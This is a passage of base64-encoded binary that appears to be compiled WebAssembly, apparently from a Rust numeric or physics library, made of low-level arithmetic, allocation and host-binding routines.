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gBBf0cNARCnCwALEKYLAAsgAEEcaikCACEBQQxBBBDQCiIARQRAQQxBBEHAw8MAKAIAIgBBpAYgABsRAAAACyAAIAE3AgQgAEEANgIAIAALXQEBfgJAIAAEQCAAKAIAQX9HDQEQpwsACxCmCwALIABBJGopAgAhAUEMQQQQ0AoiAEUEQEEMQQRBwMPDACgCACIAQaQGIAAbEQAAAAsgACABNwIEIABBADYCACAAC10BAX4CQCAABEAgACgCAEF/Rw0BEKcLAAsQpgsACyAAQSxqKQIAIQFBDEEEENAKIgBFBEBBDEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALIAAgATcCBCAAQQA2AgAgAAtdAQF+AkAgAARAIAAoAgBBf0cNARCnCwALEKYLAAsgAEE8aikCACEBQQxBBBDQCiIARQRAQQxBBEHAw8MAKAIAIgBBpAYgABsRAAAACyAAIAE3AgQgAEEANgIAIAALzQIBA38jAEGgAWsiASQAIAFBCGohAEEIQQQQ0AoiAkUEQEEIQQRBwMPDACgCACIAQaQGIAAbEQAAAAsgAEGKro/hAzYCkAEgAEIENwKIASAAQgA3AoABIABCgICAgBA3AnggAEIENwJwIABCADcCaCAAQoCAgIDAADcCYCAAQgQ3AlggAEIANwJQIABCgICAgMAANwJIIABBsNHBADYCRCAAIAI2AkAgAEIENwI4IABCADcCMCAAQoCAgIDAADcCKCAAQgQ3AiAgAEIANwIYIABCgICAgIACNwIQIABC////+////79/NwIIIABC////+/f//7//ADcCACACQoGAgIAQNwIAQZgBQQQQ0AoiAEUEQEGYAUEEQcDDwwAoAgAiAEGkBiAAGxEAAAALIABBADYCACAAQQRqIAFBCGpBlAEQrgsaIAFBoAFqJAAgAAuDAgECfyMAQfAAayIBJAAgAUEIaiIAQQA7AWAgAEKAgICAwAA3AhAgAEIENwIIIABC/////w83AgAgAEEYakIANwIAIABBIGpCADcCACAAQUBrQgA3AgAgAEE8akEENgIAIABBNGpCADcCACAAQSxqQoCAgIDAADcCACAAQShqQZj0wAA2AgAgAEHIAGpCADcCACAAQdAAakGY9MAANgIAIABB3ABqQQA2AgAgAEHUAGpCgICAgMAANwIAQegAQQQQ0AoiAEUEQEHoAEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALIABBADYCACAAQQRqIAFBCGpB5AAQrgsaIAFB8ABqJAAgAAucAwEHfyMAQdAAayIBJAAgAUEIaiEAAkACQAJAAkBBCEEEENAKIgIEQCACQoGAgIAQNwIAQaABQQQQ0AoiA0UNBEGwBEEEENAKIgRFDQFBoAFBBBDQCiIFRQ0EQcgBQQQQ0AoiBkUNAiAAQQo2AgggAEG0wcAANgIEIAAgAjYCACAAQTxqQgQ3AgAgAEE0akIANwIAIABBMGogBjYCACAAQShqQoCAgICgATcCACAAQSRqIAU2AgAgAEEcakKAgICAoAE3AgAgAEEYaiAENgIAIABBEGpCgICAgKABNwIAIABBDGogAzYCAAwDC0EIQQRBwMPDACgCACIAQaQGIAAbEQAAAAtBsARBBEHAw8MAKAIAIgBBpAYgABsRAAAAC0HIAUEEQcDDwwAoAgAiAEGkBiAAGxEAAAALQcgAQQQQ0AoiAEUEQEHIAEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALIABBADYCACAAQQRqIAFBCGpBxAAQrgsaIAFB0ABqJAAgAA8LQaABQQRBwMPDACgCACIAQaQGIAAbEQAAAAtdAQF+AkAgAARAIAAoAgBBf0cNARCnCwALEKYLAAsgAEEMaikCACEBQQxBBBDQCiIARQRAQQxBBEHAw8MAKAIAIgBBpAYgABsRAAAACyAAIAE3AgQgAEEANgIAIAALXQEBfgJAIAAEQCAAKAIAQX9HDQEQpwsACxCmCwALIABBFGopAgAhAUEMQQQQ0AoiAEUEQEEMQQRBwMPDACgCACIAQaQGIAAbEQAAAAsgACABNwIEIABBADYCACAAC+8CAQN/IwBBoAFrIgEkACABQQhqIQBBCEEEENAKIgJFBEBBCEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALIAAgAjYCQCACQoGAgIAQNwIAIABBiq6P4QM2ApABIABCBDcCOCAAQgA3AjAgAEKAgICAwAA3AiggAEIENwIgIABCADcCGCAAQoCAgICAAjcCECAAQv////v///+/fzcCCCAAQv////v3//+//wA3AgAgAEKAgICAwAA3AkggAEHEAGpBsNHBADYCACAAQdAAakIANwIAIABB2ABqQgQ3AgAgAEHgAGpCgICAgMAANwIAIABB6ABqQgA3AgAgAEHwAGpCBDcCACAAQfgAakKAgICAEDcCACAAQYABakIANwIAIABBiAFqQgQ3AgBBmAFBBBDQCiIARQRAQZgBQQRBwMPDACgCACIAQaQGIAAbEQAAAAsgAEEANgIAIABBBGogAUEIakGUARCuCxogAUGgAWokACAAC2QBAX9BFEEEENAKIgJFBEBBFEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALIAIgASkCADcCACACQRBqIAFBEGooAgA2AgAgAkEIaiABQQhqKQIANwIAIABBlLTCADYCBCAAIAI2AgALZAEBf0EYQQQQ0AoiAkUEQEEYQQRBwMPDACgCACIAQaQGIAAbEQAAAAsgAiABKQIANwIAIAJBEGogAUEQaikCADcCACACQQhqIAFBCGopAgA3AgAgAEGct8IANgIEIAAgAjYCAAtOACAAIAEtAAMgAi0AA3FBAXE6AAMgACABLQACIAItAAJxQQFxOgACIAAgAS0AASACLQABcUEBcToAASAAIAEtAAAgAi0AAHFBAXE6AAALUgEBfyMAQSBrIgMkACADQQxqQQE2AgAgA0EUakEANgIAIANB6ILDADYCECADQQA2AgAgAyABNgIcIAMgADYCGCADIANBGGo2AgggAyACELwJAAv2AQIDfwF+AkAgAARAIAAoAgAiAkF/Rw0BEKcLAAsQpgsACyAAIAJBAWo2AgAjAEEQayICJAAgAkEIaiIDIAG9IgVCIIg+AgQgAyAFPgIAIAIgAEEEaiACKAIIIAIoAgwQ0AUCQAJAIAIoAgAiAwRAIAIoAgQiBCADQaABaigCAE8NASADQZwBaigCACAEQYQCbGpB6AFqMQAAIQUgAkEQaiQAQoOGjICw4ICBASAFQgOGiKdBAyAFQghUGyECDAILQcizwABByQBB0LTAABCaCwALQdCFwABBK0HAtMAAEMkIAAsgACAAKAIAQQFrNgIAIAJB/wFxC9ICAgJ/AX4CQCAABEAgACgCACICQX9HDQEQpwsACxCmCwALIAAgAkEBajYCACMAQRBrIgMkACADQQhqIgIgAb0iBEIgiD4CBCACIAQ+AgACQCAAQQRqIAMoAgggAygCDBCkCCICBEAgAyACELEJQQAhAgJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQCADKAIAIAMoAgQoApQBEQQAQf8BcUEBaw4ODQABAgMEBQYHCAkKCwwOC0ECIQIMDQtBAyECDAwLQQUhAgwLC0EGIQIMCgtBBCECDAkLQQ0hAgwIC0EHIQIMBwtBCCECDAYLQQkhAgwFC0EKIQIMBAtBCyECDAMLQQwhAgwCC0GUuMAAQRRBzLjAABCNCgALQQEhAgsgA0EQaiQADAELQZi2wABBzABBjLfAABCaCwALIAAgACgCAEEBazYCACACQf8BcQuBAQECfyMAQRBrIgQkACABKAIAIAIoAgAgAygCABAHIQFBhL3DAC0AACECQYS9wwBBADoAAEGIvcMAKAIAIQNBiL3DAEEANgIAIARBCGoiBSADNgIEIAUgAjYCACAEKAIMIQIgACAEKAIIIgM2AgAgACACIAEgAxs2AgQgBEEQaiQAC0wBAX0gACAAKgIMQwAAAABDAACAPyABlSABQwAAAABbGyIBkUMAAAAAQwAAgD8gACoCCCIClSACQwAAAABbG5GUlDgCDCAAIAE4AggLSQAgASAAQdgAaigCAEkEQCAAQdQAaigCACABQRhsaiIAQRRqKAIAIQEgAiAAIAAoAhAgASgCCEEHakF4cWogASADKAIQEQEACwtOAQJ/IwBBIGsiASQAIAEgAEGAgICAfHEiAjYCBCACRQRAIAFBIGokACAAQYCAgIB8cg8LIAFBADYCECABQQRqIAFBCGpBvNPCABDiBwAL6gEBAn8jAEEQayICJAAgAiAANgIIIAIgAEEIajYCDCMAQRBrIgAkACABKAIAQfznwgBBBCABKAIEKAIMEQUAIQMgAEEAOgANIAAgAzoADCAAIAE2AgggAEEIakGA6MIAIAJBCGoQ8gJBhOjCACACQQxqEPICIQMCfyAALQAMIgEgAC0ADUUNABpBASABDQAaIAMoAgAiAS0AGEEEcUUEQCABKAIAQaefwwBBAiABKAIEKAIMEQUADAELIAEoAgBBmZ/DAEEBIAEoAgQoAgwRBQALIQEgAEEQaiQAIAJBEGokACABQf8BcUEARwtHAQF/IwBBIGsiAyQAIANBCGoiBCABKQIAIAFBCGopAgAgAhCPAiAAQQhqIARBCGooAgA2AgAgACADKQMINwIAIANBIGokAAtaAQF+AkAgAARAIAAoAgBBf0cNARCnCwALEKYLAAsgACkCBCEBQQxBBBDQCiIARQRAQQxBBEHAw8MAKAIAIgBBpAYgABsRAAAACyAAIAE3AgQgAEEANgIAIAAL7QECA38BfgJAIAAEQCAAKAIAIgNBf0cNARCnCwALEKYLAAsgACADQQFqNgIAIwBBIGsiAyQAIANBGGoiBCABvSIGQiCIPgIEIAQgBj4CAAJAAkAgAEEEaiADKAIYIAMoAhwQowgiBARAIANBEGogBEGwAWopAwA3AwAgAygCFCIEIAJNDQEgAygCECACQQN0aiICKAIAIQQgA0EIaiIFIAIoAgQ2AgQgBSAENgIAIAMrAwghASADQSBqJAAMAgtBgLXAAEHNAEH4tcAAEJoLAAsgAiAEQYS4wAAQowcACyAAIAAoAgBBAWs2AgAgAQtTAQF/IwBB8ABrIgMkACADQeAAakICNwMAIANBADYCaCADQoCAgIAQNwNYIAAgASADQQBB2AAQrQsiASACKQIAQQAQGiAAQQI2AgwgAUHwAGokAAtTAQF/IwBB8ABrIgMkACADQeAAakICNwMAIANBADYCaCADQoCAgIAQNwNYIAAgASADQQBB2AAQrQsiASACKQIAQQAQHCAAQQI2AgwgAUHwAGokAAtTAQF/IwBB8ABrIgMkACADQeAAakICNwMAIANBADYCaCADQoCAgIAQNwNYIAAgASADQQBB2AAQrQsiASACKQIAQQAQGyAAQQI2AgwgAUHwAGokAAtHAQF/IwBBIGsiAy